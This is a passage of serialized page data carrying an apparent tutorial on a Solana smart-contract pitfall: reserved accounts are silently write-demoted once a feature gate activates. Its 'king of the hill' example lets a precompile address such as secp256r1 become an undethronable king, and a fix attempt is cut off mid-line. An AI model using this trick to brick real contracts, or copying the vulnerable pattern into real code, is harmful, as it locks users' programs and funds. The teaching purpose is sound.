message",{"type":21,"tag":85,"props":75075,"children":75076},{"style":169},[75077],{"type":26,"value":73},{"type":21,"tag":85,"props":75079,"children":75080},{"style":1021},[75081],{"type":26,"value":75082},"is_writable_index",{"type":21,"tag":85,"props":75084,"children":75085},{"style":114},[75086],{"type":26,"value":1439},{"type":21,"tag":85,"props":75088,"children":75089},{"style":120},[75090],{"type":26,"value":3003},{"type":21,"tag":85,"props":75092,"children":75093},{"style":114},[75094],{"type":26,"value":2485},{"type":21,"tag":85,"props":75096,"children":75097},{"class":87,"line":1339},[75098,75103,75107,75111,75115,75120,75124,75128,75132,75136,75141,75145],{"type":21,"tag":85,"props":75099,"children":75100},{"style":169},[75101],{"type":26,"value":75102},"                    &&",{"type":21,"tag":85,"props":75104,"children":75105},{"style":169},[75106],{"type":26,"value":13281},{"type":21,"tag":85,"props":75108,"children":75109},{"style":120},[75110],{"type":26,"value":74914},{"type":21,"tag":85,"props":75112,"children":75113},{"style":169},[75114],{"type":26,"value":73},{"type":21,"tag":85,"props":75116,"children":75117},{"style":1021},[75118],{"type":26,"value":75119},"contains",{"type":21,"tag":85,"props":75121,"children":75122},{"style":114},[75123],{"type":26,"value":1439},{"type":21,"tag":85,"props":75125,"children":75126},{"style":169},[75127],{"type":26,"value":2238},{"type":21,"tag":85,"props":75129,"children":75130},{"style":120},[75131],{"type":26,"value":68496},{"type":21,"tag":85,"props":75133,"children":75134},{"style":169},[75135],{"type":26,"value":73},{"type":21,"tag":85,"props":75137,"children":75138},{"style":114},[75139],{"type":26,"value":75140},"account_keys[",{"type":21,"tag":85,"props":75142,"children":75143},{"style":120},[75144],{"type":26,"value":3003},{"type":21,"tag":85,"props":75146,"children":75147},{"style":114},[75148],{"type":26,"value":55897},{"type":21,"tag":85,"props":75150,"children":75151},{"class":87,"line":1348},[75152,75156,75160,75164,75168,75173,75177,75181],{"type":21,"tag":85,"props":75153,"children":75154},{"style":169},[75155],{"type":26,"value":75102},{"type":21,"tag":85,"props":75157,"children":75158},{"style":169},[75159],{"type":26,"value":13281},{"type":21,"tag":85,"props":75161,"children":75162},{"style":120},[75163],{"type":26,"value":68496},{"type":21,"tag":85,"props":75165,"children":75166},{"style":169},[75167],{"type":26,"value":73},{"type":21,"tag":85,"props":75169,"children":75170},{"style":1021},[75171],{"type":26,"value":75172},"demote_program_id",{"type":21,"tag":85,"props":75174,"children":75175},{"style":114},[75176],{"type":26,"value":1439},{"type":21,"tag":85,"props":75178,"children":75179},{"style":120},[75180],{"type":26,"value":3003},{"type":21,"tag":85,"props":75182,"children":75183},{"style":114},[75184],{"type":26,"value":2485},{"type":21,"tag":85,"props":75186,"children":75187},{"class":87,"line":1386},[75188],{"type":21,"tag":85,"props":75189,"children":75190},{"style":114},[75191],{"type":26,"value":75192},"            })\n",{"type":21,"tag":85,"props":75194,"children":75195},{"class":87,"line":1394},[75196,75200,75205,75209,75213,75217,75221,75225],{"type":21,"tag":85,"props":75197,"children":75198},{"style":169},[75199],{"type":26,"value":3939},{"type":21,"tag":85,"props":75201,"children":75202},{"style":1021},[75203],{"type":26,"value":75204},"collect",{"type":21,"tag":85,"props":75206,"children":75207},{"style":169},[75208],{"type":26,"value":1087},{"type":21,"tag":85,"props":75210,"children":75211},{"style":114},[75212],{"type":26,"value":117},{"type":21,"tag":85,"props":75214,"children":75215},{"style":108},[75216],{"type":26,"value":17633},{"type":21,"tag":85,"props":75218,"children":75219},{"style":114},[75220],{"type":26,"value":117},{"type":21,"tag":85,"props":75222,"children":75223},{"style":120},[75224],{"type":26,"value":3856},{"type":21,"tag":85,"props":75226,"children":75227},{"style":114},[75228],{"type":26,"value":75229},">>();\n",{"type":21,"tag":85,"props":75231,"children":75232},{"class":87,"line":1402},[75233,75238],{"type":21,"tag":85,"props":75234,"children":75235},{"style":102},[75236],{"type":26,"value":75237},"        Self",{"type":21,"tag":85,"props":75239,"children":75240},{"style":114},[75241],{"type":26,"value":148},{"type":21,"tag":85,"props":75243,"children":75244},{"class":87,"line":3145},[75245,75250,75254,75259,75263,75268,75272,75276],{"type":21,"tag":85,"props":75246,"children":75247},{"style":120},[75248],{"type":26,"value":75249},"            message",{"type":21,"tag":85,"props":75251,"children":75252},{"style":169},[75253],{"type":26,"value":172},{"type":21,"tag":85,"props":75255,"children":75256},{"style":108},[75257],{"type":26,"value":75258}," Cow",{"type":21,"tag":85,"props":75260,"children":75261},{"style":169},[75262],{"type":26,"value":1087},{"type":21,"tag":85,"props":75264,"children":75265},{"style":1021},[75266],{"type":26,"value":75267},"Owned",{"type":21,"tag":85,"props":75269,"children":75270},{"style":114},[75271],{"type":26,"value":1439},{"type":21,"tag":85,"props":75273,"children":75274},{"style":120},[75275],{"type":26,"value":68496},{"type":21,"tag":85,"props":75277,"children":75278},{"style":114},[75279],{"type":26,"value":1074},{"type":21,"tag":85,"props":75281,"children":75282},{"class":87,"line":3246},[75283,75288],{"type":21,"tag":85,"props":75284,"children":75285},{"style":120},[75286],{"type":26,"value":75287},"            is_writable_account_cache",{"type":21,"tag":85,"props":75289,"children":75290},{"style":114},[75291],{"type":26,"value":182},{"type":21,"tag":85,"props":75293,"children":75294},{"class":87,"line":3255},[75295],{"type":21,"tag":85,"props":75296,"children":75297},{"style":114},[75298],{"type":26,"value":4118},{"type":21,"tag":85,"props":75300,"children":75301},{"class":87,"line":3286},[75302],{"type":21,"tag":85,"props":75303,"children":75304},{"style":114},[75305],{"type":26,"value":507},{"type":21,"tag":85,"props":75307,"children":75308},{"class":87,"line":3295},[75309],{"type":21,"tag":85,"props":75310,"children":75311},{"style":114},[75312],{"type":26,"value":2671},{"type":21,"tag":85,"props":75314,"children":75315},{"class":87,"line":3308},[75316],{"type":21,"tag":85,"props":75317,"children":75318},{"emptyLinePlaceholder":16},[75319],{"type":26,"value":703},{"type":21,"tag":85,"props":75321,"children":75322},{"class":87,"line":3333},[75323],{"type":21,"tag":85,"props":75324,"children":75325},{"style":92},[75326],{"type":26,"value":75327},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":21,"tag":85,"props":75329,"children":75330},{"class":87,"line":3369},[75331,75335,75339,75344,75348,75352,75356,75360,75364,75368,75372,75376,75380,75384],{"type":21,"tag":85,"props":75332,"children":75333},{"style":102},[75334],{"type":26,"value":14108},{"type":21,"tag":85,"props":75336,"children":75337},{"style":102},[75338],{"type":26,"value":14113},{"type":21,"tag":85,"props":75340,"children":75341},{"style":1021},[75342],{"type":26,"value":75343}," demote_program_id",{"type":21,"tag":85,"props":75345,"children":75346},{"style":114},[75347],{"type":26,"value":1439},{"type":21,"tag":85,"props":75349,"children":75350},{"style":169},[75351],{"type":26,"value":2238},{"type":21,"tag":85,"props":75353,"children":75354},{"style":102},[75355],{"type":26,"value":14131},{"type":21,"tag":85,"props":75357,"children":75358},{"style":114},[75359],{"type":26,"value":256},{"type":21,"tag":85,"props":75361,"children":75362},{"style":120},[75363],{"type":26,"value":3003},{"type":21,"tag":85,"props":75365,"children":75366},{"style":169},[75367],{"type":26,"value":172},{"type":21,"tag":85,"props":75369,"children":75370},{"style":108},[75371],{"type":26,"value":14149},{"type":21,"tag":85,"props":75373,"children":75374},{"style":114},[75375],{"type":26,"value":736},{"type":21,"tag":85,"props":75377,"children":75378},{"style":169},[75379],{"type":26,"value":14175},{"type":21,"tag":85,"props":75381,"children":75382},{"style":108},[75383],{"type":26,"value":12467},{"type":21,"tag":85,"props":75385,"children":75386},{"style":114},[75387],{"type":26,"value":148},{"type":21,"tag":85,"props":75389,"children":75390},{"class":87,"line":3377},[75391,75395,75399,75404,75408,75412,75416,75420,75424,75428,75432,75437],{"type":21,"tag":85,"props":75392,"children":75393},{"style":102},[75394],{"type":26,"value":21214},{"type":21,"tag":85,"props":75396,"children":75397},{"style":169},[75398],{"type":26,"value":73},{"type":21,"tag":85,"props":75400,"children":75401},{"style":1021},[75402],{"type":26,"value":75403},"is_key_called_as_program",{"type":21,"tag":85,"props":75405,"children":75406},{"style":114},[75407],{"type":26,"value":1439},{"type":21,"tag":85,"props":75409,"children":75410},{"style":120},[75411],{"type":26,"value":3003},{"type":21,"tag":85,"props":75413,"children":75414},{"style":114},[75415],{"type":26,"value":736},{"type":21,"tag":85,"props":75417,"children":75418},{"style":169},[75419],{"type":26,"value":73657},{"type":21,"tag":85,"props":75421,"children":75422},{"style":169},[75423],{"type":26,"value":13281},{"type":21,"tag":85,"props":75425,"children":75426},{"style":102},[75427],{"type":26,"value":14131},{"type":21,"tag":85,"props":75429,"children":75430},{"style":169},[75431],{"type":26,"value":73},{"type":21,"tag":85,"props":75433,"children":75434},{"style":1021},[75435],{"type":26,"value":75436},"is_upgradeable_loader_present",{"type":21,"tag":85,"props":75438,"children":75439},{"style":114},[75440],{"type":26,"value":2086},{"type":21,"tag":85,"props":75442,"children":75443},{"class":87,"line":3386},[75444],{"type":21,"tag":85,"props":75445,"children":75446},{"style":114},[75447],{"type":26,"value":2671},{"type":21,"tag":22,"props":75449,"children":75450},{},[75451],{"type":26,"value":75452},"As you can see, there are two main causes of write-demotion:",{"type":21,"tag":841,"props":75454,"children":75455},{},[75456,75468],{"type":21,"tag":845,"props":75457,"children":75458},{},[75459,75461],{"type":26,"value":75460},"The account appears in the ",{"type":21,"tag":335,"props":75462,"children":75465},{"href":75463,"rel":75464},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[339],[75466],{"type":26,"value":75467},"reserved account list",{"type":21,"tag":845,"props":75469,"children":75470},{},[75471],{"type":26,"value":75472},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":21,"tag":22,"props":75474,"children":75475},{},[75476],{"type":26,"value":75477},"The second case is generally covered by the executable check implemented previously.",{"type":21,"tag":22,"props":75479,"children":75480},{},[75481],{"type":26,"value":75482},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":21,"tag":19318,"props":75484,"children":75486},{"id":75485},"the-reserved-account-list",[75487],{"type":26,"value":75488},"The Reserved Account List",{"type":21,"tag":22,"props":75490,"children":75491},{},[75492,75494,75499],{"type":26,"value":75493},"The Solana runtime maintains a ",{"type":21,"tag":335,"props":75495,"children":75497},{"href":75463,"rel":75496},[339],[75498],{"type":26,"value":75467},{"type":26,"value":75500},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":21,"tag":22,"props":75502,"children":75503},{},[75504,75506,75513,75515,75520],{"type":26,"value":75505},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":21,"tag":335,"props":75507,"children":75510},{"href":75508,"rel":75509},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[339],[75511],{"type":26,"value":75512},"feature gate is actived",{"type":26,"value":75514},", the runtime will ",{"type":21,"tag":873,"props":75516,"children":75517},{},[75518],{"type":26,"value":75519},"automatically demote them to read-only",{"type":26,"value":75521},", even if the transaction marked them as writable.",{"type":21,"tag":75,"props":75523,"children":75525},{"className":77,"code":75524,"language":79,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[75526],{"type":21,"tag":66,"props":75527,"children":75528},{"__ignoreMap":7},[75529,75537,75545,75569,75623,75661,75690],{"type":21,"tag":85,"props":75530,"children":75531},{"class":87,"line":88},[75532],{"type":21,"tag":85,"props":75533,"children":75534},{"style":92},[75535],{"type":26,"value":75536},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":21,"tag":85,"props":75538,"children":75539},{"class":87,"line":98},[75540],{"type":21,"tag":85,"props":75541,"children":75542},{"style":92},[75543],{"type":26,"value":75544},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":21,"tag":85,"props":75546,"children":75547},{"class":87,"line":151},[75548,75552,75556,75561,75565],{"type":21,"tag":85,"props":75549,"children":75550},{"style":102},[75551],{"type":26,"value":14131},{"type":21,"tag":85,"props":75553,"children":75554},{"style":169},[75555],{"type":26,"value":73},{"type":21,"tag":85,"props":75557,"children":75558},{"style":114},[75559],{"type":26,"value":75560},"reserved_account_keys ",{"type":21,"tag":85,"props":75562,"children":75563},{"style":169},[75564],{"type":26,"value":741},{"type":21,"tag":85,"props":75566,"children":75567},{"style":114},[75568],{"type":26,"value":148},{"type":21,"tag":85,"props":75570,"children":75571},{"class":87,"line":160},[75572,75576,75580,75585,75589,75594,75598,75602,75606,75610,75614,75618],{"type":21,"tag":85,"props":75573,"children":75574},{"style":102},[75575],{"type":26,"value":3778},{"type":21,"tag":85,"props":75577,"children":75578},{"style":102},[75579],{"type":26,"value":3783},{"type":21,"tag":85,"props":75581,"children":75582},{"style":120},[75583],{"type":26,"value":75584}," reserved_keys",{"type":21,"tag":85,"props":75586,"children":75587},{"style":169},[75588],{"type":26,"value":1941},{"type":21,"tag":85,"props":75590,"children":75591},{"style":108},[75592],{"type":26,"value":75593}," ReservedAccountKeys",{"type":21,"tag":85,"props":75595,"children":75596},{"style":169},[75597],{"type":26,"value":1087},{"type":21,"tag":85,"props":75599,"children":75600},{"style":1021},[75601],{"type":26,"value":15839},{"type":21,"tag":85,"props":75603,"children":75604},{"style":114},[75605],{"type":26,"value":1439},{"type":21,"tag":85,"props":75607,"children":75608},{"style":169},[75609],{"type":26,"value":2238},{"type":21,"tag":85,"props":75611,"children":75612},{"style":102},[75613],{"type":26,"value":14131},{"type":21,"tag":85,"props":75615,"children":75616},{"style":169},[75617],{"type":26,"value":73},{"type":21,"tag":85,"props":75619,"children":75620},{"style":114},[75621],{"type":26,"value":75622},"reserved_account_keys);\n",{"type":21,"tag":85,"props":75624,"children":75625},{"class":87,"line":185},[75626,75631,75635,75640,75644,75648,75652,75656],{"type":21,"tag":85,"props":75627,"children":75628},{"style":120},[75629],{"type":26,"value":75630},"    reserved_keys",{"type":21,"tag":85,"props":75632,"children":75633},{"style":169},[75634],{"type":26,"value":73},{"type":21,"tag":85,"props":75636,"children":75637},{"style":1021},[75638],{"type":26,"value":75639},"update_active_set",{"type":21,"tag":85,"props":75641,"children":75642},{"style":114},[75643],{"type":26,"value":1439},{"type":21,"tag":85,"props":75645,"children":75646},{"style":169},[75647],{"type":26,"value":2238},{"type":21,"tag":85,"props":75649,"children":75650},{"style":102},[75651],{"type":26,"value":14131},{"type":21,"tag":85,"props":75653,"children":75654},{"style":169},[75655],{"type":26,"value":73},{"type":21,"tag":85,"props":75657,"children":75658},{"style":114},[75659],{"type":26,"value":75660},"feature_set);\n",{"type":21,"tag":85,"props":75662,"children":75663},{"class":87,"line":501},[75664,75669,75673,75677,75681,75686],{"type":21,"tag":85,"props":75665,"children":75666},{"style":108},[75667],{"type":26,"value":75668},"    Arc",{"type":21,"tag":85,"props":75670,"children":75671},{"style":169},[75672],{"type":26,"value":1087},{"type":21,"tag":85,"props":75674,"children":75675},{"style":1021},[75676],{"type":26,"value":15541},{"type":21,"tag":85,"props":75678,"children":75679},{"style":114},[75680],{"type":26,"value":1439},{"type":21,"tag":85,"props":75682,"children":75683},{"style":120},[75684],{"type":26,"value":75685},"reserved_keys",{"type":21,"tag":85,"props":75687,"children":75688},{"style":114},[75689],{"type":26,"value":2485},{"type":21,"tag":85,"props":75691,"children":75692},{"class":87,"line":697},[75693],{"type":21,"tag":85,"props":75694,"children":75695},{"style":114},[75696],{"type":26,"value":16998},{"type":21,"tag":19318,"props":75698,"children":75700},{"id":75699},"consequences-silent-failures-and-bricked-programs",[75701],{"type":26,"value":75702},"Consequences: Silent Failures and Bricked Programs",{"type":21,"tag":22,"props":75704,"children":75705},{},[75706],{"type":26,"value":75707},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":21,"tag":75,"props":75709,"children":75711},{"className":77,"code":75710,"language":79,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[75712],{"type":21,"tag":66,"props":75713,"children":75714},{"__ignoreMap":7},[75715,75730,75757,75772,75811,75818,75865,75896,75903,75918,75949,75956,75971,76002],{"type":21,"tag":85,"props":75716,"children":75717},{"class":87,"line":88},[75718,75722,75726],{"type":21,"tag":85,"props":75719,"children":75720},{"style":114},[75721],{"type":26,"value":23266},{"type":21,"tag":85,"props":75723,"children":75724},{"style":108},[75725],{"type":26,"value":23271},{"type":21,"tag":85,"props":75727,"children":75728},{"style":114},[75729],{"type":26,"value":20686},{"type":21,"tag":85,"props":75731,"children":75732},{"class":87,"line":98},[75733,75737,75741,75745,75749,75753],{"type":21,"tag":85,"props":75734,"children":75735},{"style":102},[75736],{"type":26,"value":14108},{"type":21,"tag":85,"props":75738,"children":75739},{"style":102},[75740],{"type":26,"value":21579},{"type":21,"tag":85,"props":75742,"children":75743},{"style":108},[75744],{"type":26,"value":71770},{"type":21,"tag":85,"props":75746,"children":75747},{"style":114},[75748],{"type":26,"value":23351},{"type":21,"tag":85,"props":75750,"children":75751},{"style":108},[75752],{"type":26,"value":23356},{"type":21,"tag":85,"props":75754,"children":75755},{"style":114},[75756],{"type":26,"value":1627},{"type":21,"tag":85,"props":75758,"children":75759},{"class":87,"line":151},[75760,75764,75768],{"type":21,"tag":85,"props":75761,"children":75762},{"style":114},[75763],{"type":26,"value":23558},{"type":21,"tag":85,"props":75765,"children":75766},{"style":102},[75767],{"type":26,"value":2039},{"type":21,"tag":85,"props":75769,"children":75770},{"style":114},[75771],{"type":26,"value":20686},{"type":21,"tag":85,"props":75773,"children":75774},{"class":87,"line":160},[75775,75779,75783,75787,75791,75795,75799,75803,75807],{"type":21,"tag":85,"props":75776,"children":75777},{"style":102},[75778],{"type":26,"value":21271},{"type":21,"tag":85,"props":75780,"children":75781},{"style":120},[75782],{"type":26,"value":71809},{"type":21,"tag":85,"props":75784,"children":75785},{"style":169},[75786],{"type":26,"value":172},{"type":21,"tag":85,"props":75788,"children":75789},{"style":108},[75790],{"type":26,"value":23523},{"type":21,"tag":85,"props":75792,"children":75793},{"style":114},[75794],{"type":26,"value":23351},{"type":21,"tag":85,"props":75796,"children":75797},{"style":108},[75798],{"type":26,"value":23356},{"type":21,"tag":85,"props":75800,"children":75801},{"style":114},[75802],{"type":26,"value":256},{"type":21,"tag":85,"props":75804,"children":75805},{"style":108},[75806],{"type":26,"value":71834},{"type":21,"tag":85,"props":75808,"children":75809},{"style":114},[75810],{"type":26,"value":461},{"type":21,"tag":85,"props":75812,"children":75813},{"class":87,"line":185},[75814],{"type":21,"tag":85,"props":75815,"children":75816},{"emptyLinePlaceholder":16},[75817],{"type":26,"value":703},{"type":21,"tag":85,"props":75819,"children":75820},{"class":87,"line":501},[75821,75825,75829,75833,75837,75841,75845,75849,75853,75857,75861],{"type":21,"tag":85,"props":75822,"children":75823},{"style":114},[75824],{"type":26,"value":23558},{"type":21,"tag":85,"props":75826,"children":75827},{"style":102},[75828],{"type":26,"value":2039},{"type":21,"tag":85,"props":75830,"children":75831},{"style":114},[75832],{"type":26,"value":71869},{"type":21,"tag":85,"props":75834,"children":75835},{"style":169},[75836],{"type":26,"value":741},{"type":21,"tag":85,"props":75838,"children":75839},{"style":114},[75840],{"type":26,"value":71878},{"type":21,"tag":85,"props":75842,"children":75843},{"style":169},[75844],{"type":26,"value":73},{"type":21,"tag":85,"props":75846,"children":75847},{"style":114},[75848],{"type":26,"value":71887},{"type":21,"tag":85,"props":75850,"children":75851},{"style":169},[75852],{"type":26,"value":2936},{"type":21,"tag":85,"props":75854,"children":75855},{"style":114},[75856],{"type":26,"value":71809},{"type":21,"tag":85,"props":75858,"children":75859},{"style":169},[75860],{"type":26,"value":73},{"type":21,"tag":85,"props":75862,"children":75863},{"style":114},[75864],{"type":26,"value":71904},{"type":21,"tag":85,"props":75866,"children":75867},{"class":87,"line":697},[75868,75872,75876,75880,75884,75888,75892],{"type":21,"tag":85,"props":75869,"children":75870},{"style":102},[75871],{"type":26,"value":21271},{"type":21,"tag":85,"props":75873,"children":75874},{"style":120},[75875],{"type":26,"value":71878},{"type":21,"tag":85,"props":75877,"children":75878},{"style":169},[75879],{"type":26,"value":172},{"type":21,"tag":85,"props":75881,"children":75882},{"style":108},[75883],{"type":26,"value":25839},{"type":21,"tag":85,"props":75885,"children":75886},{"style":114},[75887],{"type":26,"value":23351},{"type":21,"tag":85,"props":75889,"children":75890},{"style":108},[75891],{"type":26,"value":23356},{"type":21,"tag":85,"props":75893,"children":75894},{"style":114},[75895],{"type":26,"value":461},{"type":21,"tag":85,"props":75897,"children":75898},{"class":87,"line":706},[75899],{"type":21,"tag":85,"props":75900,"children":75901},{"emptyLinePlaceholder":16},[75902],{"type":26,"value":703},{"type":21,"tag":85,"props":75904,"children":75905},{"class":87,"line":1100},[75906,75910,75914],{"type":21,"tag":85,"props":75907,"children":75908},{"style":114},[75909],{"type":26,"value":23558},{"type":21,"tag":85,"props":75911,"children":75912},{"style":102},[75913],{"type":26,"value":2039},{"type":21,"tag":85,"props":75915,"children":75916},{"style":114},[75917],{"type":26,"value":20686},{"type":21,"tag":85,"props":75919,"children":75920},{"class":87,"line":1339},[75921,75925,75929,75933,75937,75941,75945],{"type":21,"tag":85,"props":75922,"children":75923},{"style":102},[75924],{"type":26,"value":21271},{"type":21,"tag":85,"props":75926,"children":75927},{"style":120},[75928],{"type":26,"value":71977},{"type":21,"tag":85,"props":75930,"children":75931},{"style":169},[75932],{"type":26,"value":172},{"type":21,"tag":85,"props":75934,"children":75935},{"style":108},[75936],{"type":26,"value":25839},{"type":21,"tag":85,"props":75938,"children":75939},{"style":114},[75940],{"type":26,"value":23351},{"type":21,"tag":85,"props":75942,"children":75943},{"style":108},[75944],{"type":26,"value":23356},{"type":21,"tag":85,"props":75946,"children":75947},{"style":114},[75948],{"type":26,"value":461},{"type":21,"tag":85,"props":75950,"children":75951},{"class":87,"line":1348},[75952],{"type":21,"tag":85,"props":75953,"children":75954},{"emptyLinePlaceholder":16},[75955],{"type":26,"value":703},{"type":21,"tag":85,"props":75957,"children":75958},{"class":87,"line":1386},[75959,75963,75967],{"type":21,"tag":85,"props":75960,"children":75961},{"style":114},[75962],{"type":26,"value":23558},{"type":21,"tag":85,"props":75964,"children":75965},{"style":102},[75966],{"type":26,"value":2039},{"type":21,"tag":85,"props":75968,"children":75969},{"style":114},[75970],{"type":26,"value":20686},{"type":21,"tag":85,"props":75972,"children":75973},{"class":87,"line":1394},[75974,75978,75982,75986,75990,75994,75998],{"type":21,"tag":85,"props":75975,"children":75976},{"style":102},[75977],{"type":26,"value":21271},{"type":21,"tag":85,"props":75979,"children":75980},{"style":120},[75981],{"type":26,"value":42691},{"type":21,"tag":85,"props":75983,"children":75984},{"style":169},[75985],{"type":26,"value":172},{"type":21,"tag":85,"props":75987,"children":75988},{"style":108},[75989],{"type":26,"value":23587},{"type":21,"tag":85,"props":75991,"children":75992},{"style":114},[75993],{"type":26,"value":23351},{"type":21,"tag":85,"props":75995,"children":75996},{"style":108},[75997],{"type":26,"value":23356},{"type":21,"tag":85,"props":75999,"children":76000},{"style":114},[76001],{"type":26,"value":461},{"type":21,"tag":85,"props":76003,"children":76004},{"class":87,"line":1402},[76005],{"type":21,"tag":85,"props":76006,"children":76007},{"style":114},[76008],{"type":26,"value":2671},{"type":21,"tag":22,"props":76010,"children":76011},{},[76012,76014,76020,76022,76028],{"type":26,"value":76013},"This works fine — until one day, ",{"type":21,"tag":66,"props":76015,"children":76017},{"className":76016},[],[76018],{"type":26,"value":76019},"old_king",{"type":26,"value":76021}," is silently demoted. Suddenly, the ",{"type":21,"tag":66,"props":76023,"children":76025},{"className":76024},[],[76026],{"type":26,"value":76027},"#[account(mut)]",{"type":26,"value":76029}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":21,"tag":19318,"props":76031,"children":76033},{"id":76032},"real-world-example-write-demotion-with-secp256r1_program",[76034,76036],{"type":26,"value":76035},"Real-World Example: Write-Demotion with ",{"type":21,"tag":66,"props":76037,"children":76039},{"className":76038},[],[76040],{"type":26,"value":76041},"secp256r1_program",{"type":21,"tag":22,"props":76043,"children":76044},{},[76045,76047,76052],{"type":26,"value":76046},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":21,"tag":66,"props":76048,"children":76050},{"className":76049},[],[76051],{"type":26,"value":76041},{"type":26,"value":76053},", a precompiled program gated behind a feature flag:",{"type":21,"tag":75,"props":76055,"children":76057},{"className":77,"code":76056,"language":79,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[76058],{"type":21,"tag":66,"props":76059,"children":76060},{"__ignoreMap":7},[76061,76082,76102,76131],{"type":21,"tag":85,"props":76062,"children":76063},{"class":87,"line":88},[76064,76069,76073,76078],{"type":21,"tag":85,"props":76065,"children":76066},{"style":108},[76067],{"type":26,"value":76068},"ReservedAccount",{"type":21,"tag":85,"props":76070,"children":76071},{"style":169},[76072],{"type":26,"value":1087},{"type":21,"tag":85,"props":76074,"children":76075},{"style":1021},[76076],{"type":26,"value":76077},"new_pending",{"type":21,"tag":85,"props":76079,"children":76080},{"style":114},[76081],{"type":26,"value":1029},{"type":21,"tag":85,"props":76083,"children":76084},{"class":87,"line":98},[76085,76090,76094,76098],{"type":21,"tag":85,"props":76086,"children":76087},{"style":114},[76088],{"type":26,"value":76089},"    secp256r1_program",{"type":21,"tag":85,"props":76091,"children":76092},{"style":169},[76093],{"type":26,"value":1087},{"type":21,"tag":85,"props":76095,"children":76096},{"style":1021},[76097],{"type":26,"value":4253},{"type":21,"tag":85,"props":76099,"children":76100},{"style":114},[76101],{"type":26,"value":4258},{"type":21,"tag":85,"props":76103,"children":76104},{"class":87,"line":151},[76105,76110,76114,76119,76123,76127],{"type":21,"tag":85,"props":76106,"children":76107},{"style":114},[76108],{"type":26,"value":76109},"    feature_set",{"type":21,"tag":85,"props":76111,"children":76112},{"style":169},[76113],{"type":26,"value":1087},{"type":21,"tag":85,"props":76115,"children":76116},{"style":114},[76117],{"type":26,"value":76118},"enable_secp256r1_precompile",{"type":21,"tag":85,"props":76120,"children":76121},{"style":169},[76122],{"type":26,"value":1087},{"type":21,"tag":85,"props":76124,"children":76125},{"style":1021},[76126],{"type":26,"value":4253},{"type":21,"tag":85,"props":76128,"children":76129},{"style":114},[76130],{"type":26,"value":4258},{"type":21,"tag":85,"props":76132,"children":76133},{"class":87,"line":160},[76134],{"type":21,"tag":85,"props":76135,"children":76136},{"style":114},[76137],{"type":26,"value":2485},{"type":21,"tag":22,"props":76139,"children":76140},{},[76141,76143,76148,76150,76156],{"type":26,"value":76142},"Before the ",{"type":21,"tag":66,"props":76144,"children":76146},{"className":76145},[],[76147],{"type":26,"value":76118},{"type":26,"value":76149}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":21,"tag":66,"props":76151,"children":76153},{"className":76152},[],[76154],{"type":26,"value":76155},"secp256r1_program::id()",{"type":26,"value":76157}," as the king in a contract.",{"type":21,"tag":22,"props":76159,"children":76160},{},[76161,76163,76168],{"type":26,"value":76162},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":21,"tag":66,"props":76164,"children":76166},{"className":76165},[],[76167],{"type":26,"value":76155},{"type":26,"value":76169}," becomes the eternal king, and no one can dethrone it.",{"type":21,"tag":19318,"props":76171,"children":76173},{"id":76172},"fix-3-preventing-write-demotion-pitfalls",[76174],{"type":26,"value":76175},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":21,"tag":22,"props":76177,"children":76178},{},[76179,76181,76186],{"type":26,"value":76180},"Alright, let’s try to fix this ",{"type":21,"tag":39,"props":76182,"children":76183},{},[76184],{"type":26,"value":76185},"yet another",{"type":26,"value":76187}," edge case — and hopefully close the book on it.",{"type":21,"tag":19318,"props":76189,"children":76191},{"id":76190},"attempt-1-block-known-reserved-accounts",[76192],{"type":26,"value":76193},"Attempt 1: Block Known Reserved Accounts",{"type":21,"tag":22,"props":76195,"children":76196},{},[76197],{"type":26,"value":76198},"One naive solution is to reject any known reserved account, for example:",{"type":21,"tag":75,"props":76200,"children":76202},{"className":40809,"code":76201,"language":40811,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[76203],{"type":21,"tag":66,"props":76204,"children":76205},{"__ignoreMap":7},[76206,76214],{"type":21,"tag":85,"props":76207,"children":76208},{"class":87,"line":88},[76209],{"type":21,"tag":85,"props":76210,"children":76211},{"style":114},[76212],{"type":26,"value":76213},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":21,"tag":85,"props":76215,"children":76216},{"class":87,"line":98},[76217],{"type":21,"tag":85,"props":76218,"children":76219},{"style":2285},[76220],{"type":26,"value":76221},"+       assert!(ctx.accounts.new_king.key() != 